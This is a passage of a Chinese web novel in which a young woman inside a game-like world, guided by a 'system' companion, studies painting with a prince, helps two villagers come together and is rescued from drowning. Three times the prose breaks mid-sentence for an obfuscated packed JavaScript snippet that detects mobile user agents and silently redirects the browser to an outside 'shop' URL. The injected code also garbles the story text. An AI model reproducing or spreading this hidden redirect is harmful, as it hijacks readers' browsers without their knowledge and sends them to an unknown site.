御竹看着昝浮生,见他有意让自己说下去,他顿了下,继续说道:“彼等愿与曹某勾结,必讨得诸多好处,既受厚利,安非自愿?”他拿出从刀疤腰上薅下来的玉佩,“此物,属下昔日见于曹某之身,把玩有日矣。” “今观之,想是其气衰日下,竟以此为利而予之。”御竹对慎庐说道,“望大人莫要听彼等一派胡言。” 昝浮生听完,道:“严刑拷打,令其如实招来。倘得消息,立报。” 慎庐拱手:“是。”他一边往后退,“那微臣先告退了。” * 祝涞在闹市挑了好一阵,就是没找到心仪的笔,就像昝浮生说的,得看的顺眼,才愿意拿下。 系统晃晃悠悠飞在一旁,跟着祝涞蛇形走位几次,就败下阵来:“001你慢点呀!”它晕头转向,“这里这么多笔,你随便拿一只不就行了!” “不行。”祝涞难得严肃,她之前写字的笔是爷爷特制的,用了好多年,穿过来时又没带着,祝涞总觉得这只笔也要跟她许久,不想草草了事。 “那你要挑到什么时候?你忘了你还有任务吗?”系统头一次催她。 “吵吵吵,烦死了,你不会在一边等我吗?” 看看昝浮生,就好好地在家里等她。 “不过应该喊他一起来的,他应该更会挑。”祝涞默默嘀咕。 “他是谁啊?是皇上吗?”系统八卦。 “御竹。”祝涞故意逗它。 “你喊御竹干什么?他不是习武之人吗?还懂这个?”系统语气有些不高兴。 “这你就不知道了吧?御竹不光能打,帅气,眼光也不错,那身墨绿色竹纹的衣服真好看,你什么时候给我安排一件?”祝涞说,“其实,我也有一个武侠梦。” 系统吐槽:“你好中二。” 祝涞拍拍它,笑道:“开个玩笑,衣服那个是真的,你别再给我掉丑衣服了。” “你不是找巧儿做了几件吗?”系统说。 祝涞这才想起来巧儿的事,大山受伤了,巧儿肯定要去照顾他,这样任务就要耽搁了。 “如果我给大山用加生命值的道具,他会好得快点吗?”祝涞问。 系统:“可以,不过要用特定的道具,不能是粮食这类的。” “从哪里获得?不会又要做任务吧?” “是,也不是。在源空间,补给站处兑换。每完成一个任务会得到相应的积分,普通任务加一分,支线任务加一分,特殊任务加三分,隐藏任务加五分。” 祝涞又打它:“还有这种好东西怎么不早说。” “你也没问我啊,”系统赶紧飞到祝涞头顶上方,“暂时没有了,就这些。” “补给处在哪儿?是什么道具?” “不远,就在牙山的入口处,属于系统,除了玩家没人能看见。道具是【能量胶囊】。”系统指着前塘村的后山说。 道具…… “欸等一下,”祝涞说,“你之前不是给了我奖励道具吗?拿出来。” “你要用吗?你终于要用了吗?”系统在祝涞面前左飞右飞,还转了个圈。 祝涞瞄准时机,一下逮住它:“要用,不过不是你以为的那种。” 系统看祝涞笑得狡诈,不久后窝窝囊囊拿出了“湖笔”道具。 * 唯一试运行玩家成就的奖励道具就是不一样,祝涞用起来称手很多,她在旁边临摹昝浮生的画作,还不时陶醉地笑笑。 昝浮生看着祝涞已经达到“忘我”的境地了,便没理会她乱七八糟的画,兀自在一旁处理政务。 天暗了下来,万物阴森,灯火阑珊。 月亮高悬着,留下大片阴影。 公鸡带着秃了一小块区域的翅膀回到鸡窝,二雪在院子里刨坑,玩得不亦乐乎,系统在树上歇脚,眼睛变得通红。 御竹挑着灯进来,见昝浮生这边整整齐齐,人坐得板正,再反观祝涞,一地随意堆放的画纸,有铺开的,有揉成一团的,有半开不开的,还有被撕了一半的。 祝涞站的姿势也随意,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854608|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会左侧,一会右侧,一会挠头,一会啧啧称奇。 御竹:……他不得不佩服他家主子的专注力——也许是忍耐力。 祝涞刚画完一幅,见御竹进来,拿着画过去给他看:“你看,怎么样?有没有水准?” 御竹实在不想说谎,正要说话,一抬头,看见祝涞身后的主子在看着他,还略一点头。 御竹无奈:“姑娘画得如此之好!”他拿过祝涞的画,“吾以为,姑娘已有殿下一半功底了!” “嘿嘿,哪有。”祝涞拿回画,又把它在放在昝浮生面前。 “那我先吃饭去了,你们待会过来!”祝涞把笔放下,高高兴兴地走了。 御竹看着祝涞走到厨房,才上前一步:“殿下你……为何要骗她?” “若不称好,她怕是整夜不能寐,非要画到叫好为止。”昝浮生将画放在一旁,才把书合上。 御竹感叹:“殿下真为姑娘着想。” 昝浮生起身,抖了下衣服上的废纸:“画纸将尽,今夜尚需用之。” 御竹:…… * 祝涞吃饱饭心满意足地睡觉了,半夜,连外面打雷都没把她吵醒。 慎庐的手下来找御竹汇报情况,又小心翼翼地走了。 祝涞一觉睡到自然醒,顿感神清气爽,她穿好衣服,往门口走。 那两人如她所愿,换上了系统给的衣服,不过整体效果差强人意——他俩还是一副风度翩翩的样子。 果然时尚的完成度看脸,不过自己长得也不错,怎么穿起来就没那种感觉? 祝涞思前想后,觉得是气质问题,不过这里只有她一个玩家,也就无所谓追求特别好的形象了。 “早啊。”祝涞打着哈欠出来,没注意翘起的头发。 昝浮生靠着门往里面看,刚好看见御竹在跟祝涞讲话。 “姑娘,你头发有一边竖起来了。”御竹指着她的头发说。 祝涞随意抓了两下:“好了吧?” 她抓的那两下完全没挨到那几根头发丝,御竹好心地帮她理了下,动作迅速。 “好了。”御竹说。 “谢谢。”祝涞说着往屋外走,看到系统瞪大了眼停在门框上,“走了。” 后面那句是祝涞对系统说的,不过他俩看不见,昝浮生理所当然地以为是对御竹说的。 “连走也要对你说一声么?”昝浮生不经意地问。 御竹跟着昝浮生许久,皇上一向不近女色,后宫虽有数几十人,却从未踏足一步。为此他还听见有大臣说,他是“第一个和尚皇帝”。 御竹没把两人往那方面想:“姑娘说让属下教她练武。” “哦?”昝浮生的食指点着书桌,“如此倒也不错,你且先练一整天。” “殿下,此话当真?”御竹看着还挺开心。 昝浮生微微点头。 御竹痛痛快快练了一天;祝涞不知道前一天好好的人怎么突然变了,让她画了一天同样的画,还规定她要站好。 练画还算卓有成效,加上祝涞使用了画技加成的道具,画功蹭蹭往上涨,这样下去,不到两天,她就可以去教娄吉了。 晚上,特别用功的两人吃得格外香,御竹吃了三碗饭,祝涞吃了两碗,途中还时不时聊天,交流进度和心得。 昝浮生吃味,一碗饭没半碗下肚。 8. 第八回 祝涞照例起得很晚,昨天她被昝浮生抓着学画,不得不说,他算是一个严格但教得很好的老师了,给她示范绘画过程的时候,一边画,一边给她讲解为什么要这样画,为何此处要浓,彼处要淡。 祝涞不仅学画技,也偷学教学方法。 今天昝浮生打算带她出去采风,将自然万物转化为笔墨语言,检验她的学习成果。 面对“反客为主”,祝涞没什么感觉,倒是采风的地点引起了她的注意。 “去后山?”祝涞听昝浮生说完后,惊呼出来。 御竹自然也要跟去,他挽着袖子过来:“怎么了?不能进去吗?” “不是,”祝涞说,“能去,我之前就想去来着。” 这两天光顾着画画,都忘记大山还伤着这回事了,也不知道现在拿道具去还有没有用。 祝涞同他们一起到了牙山,这山不高,下面草地居多,还有很多叫不出名字的小野花,树集中在山顶,越往里走,奇形怪状的树木越多,也更高大。他们走了不一会,看见前面有一条瀑布,就在不远的石墩停下。 一路走来,祝涞都没看见系统说的“补给站”。 “你走反了001!补给站在另外一边!”系统吭哧吭哧飞上来,跟在祝涞后面说。 “你怎么不早说?”祝涞借着找角度的名义走远了,她问系统。 “我倒是想说,你早上也没喊我就自己走了啊。”系统落在一棵树的树枝上,郁郁葱葱的绿叶包裹着它,就像一只真的鸟。 祝涞没话说了,她指着左边的一条小道,问系统:“往这边能走到吗?” 系统顺着她手指的方向点头:“能,不过有些远。” 祝涞回头看了眼,御竹左顾右盼,又时不时盯着地面,不知道在找什么东西,昝浮生把画画工具摆好后,就朝她这边看。 他让她过去。 为了不引起怀疑,祝涞还是没让他们往山下走,想着画完了再找个借口开溜。 谁知刚画没一会,御竹突然走过来,带着一个坏了的簪子。 那簪子一看就价格不菲,她这种不识货的都看出上面的配饰有黄金,珍珠,玛瑙……只是她们这几个村都挺穷的,有谁能买得起这样一个簪子? “是不是刀疤那群人的?”祝涞说完,见他们一脸疑惑看着她,又解释道,“就是上次来找事的,被御竹一扫而光的。” 御竹将簪子翻转过来,没有可疑的东西:“姑娘,这会不会跟你的那个朋友有关?” 祝涞想起来,大山当时说玉佩是他在路上捡的,刀疤小弟也说是牙山上掉的。 玉佩,簪子……大山需要木材,会上山来砍树情有可原,那伙人住在翕山,怎么会来这边? 除非有什么事——重要的,紧急的,或者见不得人的。 祝涞拿过御竹手里的簪子:“既然此地又有玉佩,又有簪子,是不是还有别物?如果这东西确实是那伙人的,就说明大山根本没偷东西,确实是路上捡的!” 他们在周围找了好一阵,却没再发现第三个贵重之物。 祝涞失望地叹着气,又被昝浮生拉去作画。 这瀑布的形状祝涞怎么都画不好,特别是那水,动来动去的,没有固定的样子,她改了好几次,期间还问昝浮生能不能换个参照物,可惜被拒绝了。 比她爷爷还不讲情面。 祝涞又一次想改画,却被昝浮生阻止了。 他从侧面抓住她的右手,带着她画:“画画不似书法,不在于形似,而在乎神似。” 昝浮生的嗓音清冷却又温润,跟本人也相符,如果声音是实物的话,祝涞觉得会是冰泉或者玉石。贴近听的时候尤为明显,有种吸引力。 “专心。”昝浮生看她,画画的动作停了下来。 祝涞这才发现自己走神了:“抱歉,你继续。” 御竹在祝涞开始画画之前就去了别处,他刚刚找到簪子的地方,还有一些带着茶味的、粘着金属碎屑的块状物。 这两天下雨,这些东西混杂在泥地里,看不清原貌,路面坑坑洼洼,藏着积水,还有车辙的痕迹。 御竹蹲下来,沿着轨迹找了一圈,路面上有一些比较大的石头后面,御竹发现了一小块金属饰品,而且生锈了。 但是最关键的东西仍然没有找到。 御竹将碎屑装进一个袋子里,藏好后起身往回走。 * 祝涞已经“画”完了,正在对着参照物欣赏,昝浮生在一旁收拾东西,抬头就看见御竹比了个手势。 昝浮生低头,把最后一个纸团放进布包里。 “哇,简直神了!”祝涞转过身,“这也太像了!太有画面感了!” 要是把这幅画给焦言看,估计能惊掉他的下巴。不过他们不允许带着画作去,得看当场考核,祝涞还是要去教娄吉。 “我算通过了吧?”祝涞问。 昝浮生看着她,没点头。 祝涞顿时泄气了,她拿着画叹气:“也是,这也不全是我自己画的,没通过很正常。” “哎哎!”御竹走来,拿过祝涞的画,“姑娘的画,可谓是惊天地泣鬼神,世上未有这样的佳作!” 祝涞笑道:“你就别取笑我了,这都是你家殿下画的,我就是打个下手。” “打个下手能画成如此这般好,亦很不错了!”御竹一脸真诚,“姑娘你想,若你没有半分功底,就算殿下抓着你的手画,你也会画歪不是?” 祝涞想说你家殿下还真是抓着我的手画的。 不过她的注意点在他的整句话上——她没有画歪,并且配合得很好。 两人对着昝浮生说了一阵,你一句我一句,有来有往,不过话的内容任谁听都是强词夺理。 昝浮生终于点头。 到了山脚,祝涞突然说她还有事,先就此分别,那二人也怀有心事,便分道扬镳了。 * “只要一个积分?这么便宜?”祝涞拿着胶囊道具——跟现代的药长得一模一样,不知道哪个设计师偷懒做的。 系统赶紧让祝涞住嘴。 “那贵点卖给你?”一个打扮时髦的男生走过来。 祝涞看他不过二十来岁,跟她差不多大,不知怎么想不开要来这里当管理员。 “你这还能随意涨价?”祝涞随意抛了下手里的药,又稳稳接住。 “当然——不可以,不过你不是嫌少么?系统也听见了,我这就帮你改改。”他说完就坐到电脑面前,“让我想想,那个道具叫什么来着?哦,能量……” “别别别,”祝涞赶紧制止,“我说着玩的,你还当真了。” 那人好笑地看着她,随后缓缓的把电脑转过来。 丫的!他根本没打开! “好玩吗?”祝涞一只手撑着桌子,问他。 那人没再逗她,他伸出一只手,目光如深渊一般:“你好,我叫危潜,危险的危,潜在的潜。” 银白色的道具架放在他的身后,上面挂着几个毛绒娃娃,透出一种诡异的不协调感。 “祝涞。”她伸手回握。 * 从补给站出来后,祝涞就去了大山家,巧儿不在,她把药拿给大山:“这是…这是我们老家那边的特效药,对恢复身体很有帮助。” 大山的头还用布扎着:“既是特别的药,俺就更不能收了,那日俺没什么大事,回来躺两天就好了。” 祝涞见他确实没什么病感,也就放下心,琢磨着找个理由约他俩见面。 “大山,你木梳做好了吗?”祝涞往屋里看了一圈,大都是一些半成品,极少数的成品还是那日来时就有的。 大山从椅子上起身,走到一侧的木柜,他打开其中一个抽屉,将里面的木梳拿了出来。 那木梳做得很精致,看起来打磨了不少遍,没有多余的棱角。 大山把它给祝涞看,又说:“这东西早已做好,只是俺看着模样单调,一直没好意思送给巧儿。” 祝涞想起御竹捡的玉簪,她问:“大山,你那日捡的玉佩,可是在牙山上的?” “玉佩不是俺偷的!”大山有些激动,还有些生气,“俺都没见过那东西。那日俺原本在山上砍树,去的路上踩着个物什,就捡来看,俺瞧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854609|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着像花甲,不过挺好看,就想把它嵌在木梳上。” 大山又转身去另一个抽屉,把里面的东西拿给祝涞。 那其实不是花甲,而是贝壳。虽然碎成了一块一块的,但依然能反射出彩色的光泽。 “就是这个,”大山把其中一些拼好,“好好的东西,让汝等糟蹋成这样!” “汝等?刀疤那些人吗?”祝涞问。 “对,俺捡到这个后就遇到了刀疤,他问俺看到什么没有,俺说没,他又让俺把东西交出来,俺没给,他过来抢的时候,发现是花甲,取笑了俺一阵,又把它踩碎了。” “俺过去捡起来,他们就押着俺下山,偏说俺偷了他们的东西。”大山把贝壳碎片放在木梳上,“没偷就是没偷,这个也是俺在路上捡的。” 祝涞看着他好一会,才说:“我相信你。” “大山!”巧儿的声音从门外传来。 大山赶紧将木梳和贝壳放回去,又回到位置上坐好。 “汝也来啦!”巧儿看见祝涞,很是高兴,“上次多亏有汝的同伴拔刀相助,大山和乡亲们才得以逃过一劫。” “就当为民除害了,不必客气。”祝涞替御竹说。 巧儿笑了笑,又看见大山坐在一边:“汝还未好全,怎地自己下来?快去床上歇会!” 大山:“俺没事,今儿出太阳了,俺出去晒会,前两天下雨太闷。” “那你们出去晒太阳,我先走了。”祝涞说。 * 祝涞下午去了娄吉家,说是也想进焦言的画院,来同娄吉交谈一下。 祝涞把她画的还不错的画作收集到了一起,打开给娄吉看:“这些,我画的。” 娄吉眼睛放光,他拿起画,细细观赏:“汝画妙哉!画院必进!” “谢谢,”祝涞拍拍他的肩,“你不是也想进么?我可以教你。” 娄吉还有些恍惚:“汝话……当真?” 祝涞:“当然。” 娄吉很是高兴,一旁的娄母看见此场景忍不住偷偷抹泪。 “那从即日起,我便教你画画,需先通过我的考核,才能去画院考试。”祝涞告诉他。 娄吉点点头。 * 祝涞回来时已经很晚了,没想到她刚刚才摆脱一个抓着她练画的老师,又遇到一个抓着她教画的学生。 事实证明好老师还是很必要的,至少祝涞感觉娄吉已经有些开窍了。 祝涞精疲力尽,拖着疲惫的身子进来。 “姑娘,你干什么去了?怎会如此劳累?”御竹一脸神清气爽地看着她。 “偷鸡摸狗。”祝涞说。 “摸狗倒是理解,可偷鸡?姑娘你莫不是在开玩笑?”御竹微微有些惊讶。 “嗯……其实它不是字面上的意思啦,也可以指偷偷摸摸干坏事。”祝涞奸笑。 御竹更震惊了:“干坏事?” 昝浮生就在不远处坐着,听见祝涞在那故弄玄虚,没说话。 御竹想了会,对祝涞说:“姑娘前两日说寻鸡,结果寻到大街上去看热闹,今日又偷鸡,偷到这么晚回来,难不成鸡只是个借口,姑娘以此暗地图谋什么?” “咳咳咳!”祝涞被自己口水呛到,她跟御竹开玩笑来着,还被猜个正着! 她赶紧去桌上喝了杯水,咕咕几口喝完,她将杯子放好,拍着胸口给自己顺气:“好险,差点呛死。” 她一睁眼发现昝浮生在看她:“你看我干嘛,没见别人被口水呛到过?” 昝浮生不看她了,低头看书。 祝涞正要回屋休息,御竹提醒她:“姑娘,你刚喝的那杯水,是殿下的。” 祝涞的腿愣在原地,片刻后,才说:“有什么稀奇的,之前不就喝过了么。” 她说着就跑回房间。 * 祝涞半夜醒来,突然想到,他们该不会以为她有什么癖好吧?! 晴天大老爷,她发誓她真的没有! 不过两秒,祝涞就又睡着了。 那块贝壳被她放在了床边,月光流转下,五彩斑斓,熠熠生辉。 9. 第九回 今天是巧儿的生日,必须赶紧把任务结束了。 祝涞早上去教娄吉之前,还顺道做了几个小任务,中间趁着吃午饭休息的时间,她来到巧儿的家。 “巧儿,生日快乐啊。”祝涞说着撩起门帘跨进来。 “汝快过来!”巧儿一见她便把她拉进屋里。 大山也在,还带着木梳。 巧儿把木梳拿给祝涞看,眼睛弯弯的,语调上扬:“大山做给侬的,好看不?” 祝涞接过来,上面有嵌着珍珠和玛瑙,那是她给大山的,她细细地看了一下,又把它还给巧儿:“模样真是精致,想必花了不少心思。” “嗯,”巧儿低着头,小心地将木梳放好,“就是不知是不是伤了的时候做的,侬那几日好好看着他,让他万不可做工。” “俺说好几遍了,早在几天前就已做好,没偷干活。”大山走到巧儿旁边,“汝还是不信俺?” 巧儿往桌前拿了块手帕给他:“喏,给汝的回礼,做多了一个。” 那手帕绣花繁复,立体生动。 大山很是欣喜地收下了,满脸通红,拿着手帕看了好一会:“不愧是巧儿,手真巧。” 巧儿羞赦地看着他,眼波流转。 祝涞又被塞了一把狗粮,倒是没怎么介意,剧情跟她预想的不一样,目的却是达成了。 只是这个系统怎么还没播报任务完成? 她又看了遍任务目标:让两人说出心意,结为连理。 两样都没达成,白干。 “你们没有什么要对对方说的吗?”祝涞问他俩,恨不得帮他们说出来。 “说?”巧儿问,又摇头。 看来还是缺个契机。 祝涞脑一热,干脆胡诌:“今天是农历多少来着?是不是二月廿十三?” 巧儿点头。 祝涞继续编:“对!我突然想起来,我们老家那边有个习俗,二月廿十三的晚上,带上一个河灯,去村里的河边,在河灯上面写下给祈福对象的祝福语,放的时候念出来,就能永保那人平安健康,幸福美满。” 她看两人都有些蠢蠢欲动的样子,但又都没出声。 “当然,也可以给自己写。”祝涞拉着巧儿的手,“我刚好有三个河灯,晚上我们一起去放怎么样?” 之前的任务给的,祝涞还不知道有什么用,这也算派上了用场。 巧儿先点了头,接着是大山。 * 娄家的门依旧打得很开,祝涞远远就看见娄吉还在画,娄父娄母要出门,给他交代几句,他都敷衍了事,继续努力画。 “老师辛苦。”娄母在门外遇见祝涞,对她说。 “不辛苦不辛苦,我就是偶尔指导一下。”祝涞偶尔谦虚。 二老走后,祝涞就在旁边等着娄吉画完。 “师父,我画的怎样?可有希望?”娄吉这两日画技没进步多少,说话倒是跟祝涞学得挺多,像你不说“汝”了,我也不说“侬”。 祝涞看了画,随后轻轻拍了下他的头:“你才学多久,就问有没有希望?” “因为我觉得触到了些门道。”娄吉摸了摸头又重新画,也没有垂头丧气。 “先好好画,离上道还远着呢,想一步登天?”祝涞说。 她又突然想到,自己不就是一步登天吗? 不出几天就当了娄吉的“师父”,当然,她师承的可是昝浮生,那就另当别论了。 “师父,你是不是学了很久?”娄吉边画边问。 “嗯,画了小十年,不过,你肯定比我好。”她摸摸娄吉的小脑袋瓜,“你今年一定能进画院的,相信我。” 娄吉发出一声清脆的笑,带着小孩子的天真烂漫,他埋头苦画,毫无怨言。 祝涞在一旁也无所事事,只是偶然提一些建议,她拿起个苹果正打算洗一下再吃,抬头就看到御竹站在门外,目光投过去时,他微微往左侧,倚着门框,身后的昝浮生与她对视上,神色平静。 围墙上停着三五只燕子,叽叽喳喳,有只嘴里衔着泥,脚一蹬飞进屋里。 祝涞手里的苹果掉了下去。 娄吉立马注意到,弯下腰帮她捡,御竹在这时笑着给她比划了个“走”的手势,等到祝涞接过娄吉给她的苹果后再往门口看时,已经空无一人了。 祝涞一下午都有些心不在焉,娄吉以为她不舒服,问她要不要明天再过来。 “没事,我就是太无聊——我来画一幅吧,你看着我画。”祝涞拿过纸笔就开始画。 娄吉在一旁拍手叫好。 祝涞就这样尽心尽力教了一下午,等到夜色降临,娄吉才依依不舍地跟她道别。 * “河灯先给我。”祝涞转进一个隐蔽的拐角,对系统说。 系统:“这种实物道具不激活的话,属性奖励也就没了,只能当做一个普通的物品,这点你知道吧?” “不知道。”祝涞回它。 “【河灯】道具,+10亲密值,你一共有5个,确定要用吗?”系统补充道。 祝涞想了下,自己现在貌似没有要加亲密度的人:“用。” 一道亮黄色的光在祝涞手中出现,而后逐渐消散,彻底消失后,她手里便多了三个莲花状的河灯,底下是一层彩纸,上面放有松香蜡烛,烛光微亮,暖黄色的光映在祝涞的脸上,她轻轻一笑,顿感温暖。 祝涞到了第一次见巧儿的地方,也就是清河,巧儿和大山已经来了。 “给。”祝涞把河灯分给他们,“我忘记我的河灯写不了字了,你们念出来,可以么?” 巧儿把河灯转过来看,又冲她展颜一笑:“可以呀。” 大山看着巧儿,也点点头。 “那我们把它放在木板上面吧。”祝涞指着岸边的碎木板,对他们说。 三人走过去,将河灯放好,祝涞正要开口说话。 “侬去那边放。”巧儿说。 “俺也想去别处。”大山说。 俩人走的还是相反的方向。 不是说难度没有提升吗?这是几个意思? 祝涞踢了一脚系统,想要质问它,又突然灵机一动——她跳进了河里。 大山是救了溺水的巧儿后,两人关系渐好,比足兄妹,既然别的没用,那就来刺激一下他们。 “救命啊!”祝涞刚跳下去就说,“巧儿!大山!” 只不过祝涞没想到这水这么深,她是个游泳半吊子,学了一半又没学的那种,她在河里扑腾着,水顺着喉管进入肺里,喘不上气,一股晕眩感传来,她屏着最后一口气:“救我!” 巧儿离她进些,当即赶过来,就见祝涞顺着水流越飘越远,偏她更是个旱鸭子,她急得直跺脚:“大山呢?大山哪去了?” 巧儿四处看,就是没见他人影,她走到离祝涞不远的岸边,伸手去够祝涞的身子,却怎么都够不到,眼看祝涞快要浮不出水面了,巧儿站起来就要往下跳。 一个天旋地转,巧儿被人扑在地上,两人在草地上滚了几圈才停下来。 “侬要干甚!”大山激切地说。 巧儿赶紧推开他:“河里……河里…” 大山还有些不明所以,忽然,旁边似有一阵大风经过,急速,迅猛,带着强劲的力量。 有个白色的人影跳进了河里,“噗通”一声也没了影子。 御竹差点没跟上:“殿下!” …… 窒息,难受,胸闷。 无边的黑暗包裹着她,莫大的恐惧和不安让祝涞的心脏狂跳不止,接着是极度的绝望。 就这样结束吧,也挺好的,祝涞想。 突然,一只手缠住了她的腰,带着她往上游,不留余力地将她拽出水面。 祝涞想抓住他,手却使不上力,救她的那人却死死地抓住她,仿佛松开一下,她就会接着往下沉。 快要上岸时,祝涞感觉有一百只手在拉她。 “咳咳!”她还没反应过来,嘴里已经吐出一大口水。 她半睁开眼,发现自己横趴在某个人的大腿上,那人按住自己的头,拍击背部,一下又一下,将她拍得有些翻江倒海。 祝涞又吐了两口,再吐不出来了,那人把她轻轻转过来,贴身抱住。 祝涞终于看清那人的模样。 是昝浮生。 “殿下你这……”御竹见昝浮生湿透,连忙将外衣脱下,“殿下赶紧披上,将姑娘交给属下便好。” 御竹说着要往前走。 “不必了。”昝浮生将御竹的外衣给祝涞盖上,靠近自己的一边给她往下包里一点,隔绝了同样湿透的衣服,他把祝涞打横抱起来,脚步急切。 “没事吧?”巧儿心有余悸,大山在后面扶着她。 “都怪俺,俺当时……” 昝浮生抱着祝涞没停,御竹将二人拦下来:“此事暂且放下,先救姑娘要紧,二位且先跟吾走。” 二人忧心忡忡看着昝浮生离去的背影,又看着对方,没再说话,跟着御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854610|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹后面快步走。 * 祝涞被放在床上,昝浮生轻柔地帮她脱了外衣和鞋子,拿干毛巾擦着身子,她微微有些痒。 “好痒。”祝涞扭了下,手握住他的手。 “别动。”昝浮生警告她。 但是祝涞忍不住,一碰腋下就感觉打开了某个开关,她扒着床想要躲开,两只手被昝浮生合住,往上一压。 他俯身靠过来,湿热的气息吐在她刚擦干的脸上:“莫要再乱动。” 祝涞直视他,点点头。 昝浮生这才松开她。 擦到腰的时候,祝涞还是微微缩了一下,她有些害怕地看着昝浮生,就见他一向清浅的眸色变得有些深,也许是夜晚的缘故。 “你去换衣服。”祝涞软绵绵地戳下他,她还是没力气。 御竹这时带着巧儿进来,发现床上的祝涞只穿了肚兜和里裤的时候,赶紧转过身:“柜子里有干衣服,你帮姑娘换上吧。” 两人走出去,把门关上。 祝涞换好干净的衣服后,门被人敲了下。 “进。”祝涞说。 昝浮生也换好了衣服,他走过来,又用毛毯把她包了一圈,随后丢给她一个干毛巾,声音温柔:“头发。” 御竹走进来,对巧儿说:“时候不早了,你也受惊,先行回去休息,姑娘已无大碍了。” 巧儿回头看了一下祝涞,又被御竹带出去了。 “欸——”祝涞刚伸出的手被昝浮生抓住,往回推,放在毛巾上。 “快擦,要吾帮你?”昝浮生坐到床边,盯着她擦。 他的头发没比她干多少,祝涞给自己随意擦了两下,就想给他擦。 昝浮生见她怎么也不安分,把毛巾拿过来,细细地给她弄干头发。 “好冷。”祝涞突然说。 昝浮生的手一顿,他看着祝涞被包了里三层外三层,却还是喊冷:“屋内不便生火。” “可我就是冷。”祝涞的语气有些委屈。 昝浮生用手碰了碰她额头,脸色略显担忧:“莫不是发热了?” “热?什么热?”祝涞说着又将毯子合拢,“我一点都不热,我要冷死了。” 眼见她头发干了许多,昝浮生给她理了下:“你家里可还有被子?” 祝涞摇头,她还在不自觉地颤抖。 “那吾为你取碗热汤来。”昝浮生正要起身。 祝涞一把撇开身上的毯子,抱了上去。 屋内寂静了好半晌。 “这样暖和多了。”祝涞把脸埋在他的脖子里,“我不想喝汤,你能让我抱会么?实在太难受了。” 昝浮生一开始没动,感到怀里的人逐渐放松下来,不再微微发抖的时候,才缓缓环抱回去。 他又捡起床上的毯子给她披好:“还冷么?” 祝涞点点头,蹭了蹭他。 好奇怪,他的身上仿佛有种魔力,像极寒之地的暖炉,她必须源源不断地从他身上汲取热度,才不至于失温而死。 这样坐着抱的姿势太过废力,祝涞逐渐没了力气,全靠昝浮生托住她,她才不至于滑下去。 “你先躺下。”昝浮生摸摸她的头,轻声道。 祝涞顺着他的手往下躺,两人稍稍分开,她又感受到刺骨的凉意,她连忙拉他的手,眼里蒙着泪光。 她好疲倦,好难受,却不知从何发泄,几天来挤压的情绪像找到了泄洪口,她在爷爷的葬礼结束之后第一次哭出来,就再也止不住。 昝浮生坐到床边,将她抱起来,一只手给她擦泪,一只手轻拍她的背,让她哭得顺畅些:“已没事了。” 他低声哄她。 他甚至都不问她为什么,很多件事的为什么,他都没问,就这么任由她在怀里哭得死去活来。 御竹以为发生什么事,在门口敲着门,给祝涞吓一跳,哭声陡然停住。 “无事。”昝浮生说。 敲门声停了,祝涞哭不出来了,她还是冷,紧紧拥抱他,没再弄出动静,就像睡着了。 昝浮生轻缓地抱着她一起躺下来,替她把被子掖好,感觉到她还在打寒颤,他把手放到她的颈侧:“可以?” 祝涞发出微小的一声“嗯”,就没后文了。 昝浮生给她搓热脖子后,将手探到腹处,她这次没躲开,还稍稍贴紧。 帮她揉了一小会后,祝涞的身体才渐渐回温。 她的手抓在他腰侧的衣服上,就像抓住了最后一棵救命稻草。 10. 第十回 一夜无梦。 祝涞头一回睡得这么香,没有人打扰她,而且还有大型靠枕。 等等?人形靠枕?祝涞的手边尚有余温,身边却没人。 她想起昨天的事了,不过没怎么惊讶——反正NPC都是工具人,应该也没有什么感情。 系统站在床尾,耷拉个脑袋:“你是不知道自己不会死吗?怎么那么害怕?” “原来你一直在啊。”祝涞往上踢了一腿,系统跟着掀起的被子一起飞起来,又猛地落下,“人之将死,哪顾得上什么道具。” 被摔得脸着被子的系统:“我是在啊,我当时喊着让你用道具,你一点没听见,害得我也不小心掉进了水里。” 系统那时死命的在旁边让祝涞喊激活道具,结果自己跟着掉进去了。 好在它掉在祝涞的肩上,一起被救出去,没什么大碍,就是总感觉脑子进了水。 “你说的不会死是什么意思?”祝涞问它,“难道我是不死之身?” “不是。”系统晃了下头,又扇动它短小的翅膀,“你身体并不会真的死亡,但是一切会重开。” “那就是重新走一遍剧情?从哪开始?” “最开始,你刚到前塘村的时候。” 如果昝浮生没救她,那就前功尽弃了。 彼时祝涞有些庆幸,她又想到昨天昝浮生那么奋力救她。 为什么?她想不出什么理由,索性不再去想。 祝涞一生病就会对身边的人特别依赖,以前爷爷在身边,祝涞总让爷爷在家陪她。 可现在…… 